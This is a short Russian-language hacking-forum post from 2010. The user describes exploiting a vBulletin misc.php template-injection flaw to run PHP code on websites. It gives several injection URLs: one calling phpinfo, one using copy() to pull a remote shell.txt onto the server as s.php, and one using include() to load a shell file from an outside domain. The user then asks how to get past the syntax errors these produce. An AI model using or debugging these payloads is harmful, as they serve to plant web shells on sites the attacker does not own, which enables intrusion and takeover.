
29.09.2010, 15:11
|
|
Познающий
Регистрация: 28.07.2010
Сообщений: 91
Провел на форуме: 30137
Репутация:
48
|
|
Вобщем пользовался уязвимостью для вбулки для выполнения пхп команд на сайте, вот он:
/misc.php?do=page&template={${phpinfo}}
Пхпинфо конечно же отлично работает я решил попробывать функцию copy:
/misc.php?do=page&template={${copy('http://sait/shell.txt','s.php');}}
Но выдало ошибкуarse error: syntax error, unexpected '%', expecting ')' in
Я потом попробывал Get:
/misc.php?do=page&template={${include($_GET[aa]);&aa=http://mypet-style.ru/backup/1/shell.txt}}
И получил ошибкуarse error: syntax error, unexpected ';' in ...
Как это обойти, да и что он от меня вобще хочет? Убераю точку с запятой в запросе, тогда ему не нравиться знак ровно.
Вобщем на одном сайте только получилось с GET а на всех остальных syntax error ...
Посоветуйте что нибудь?
|
|
|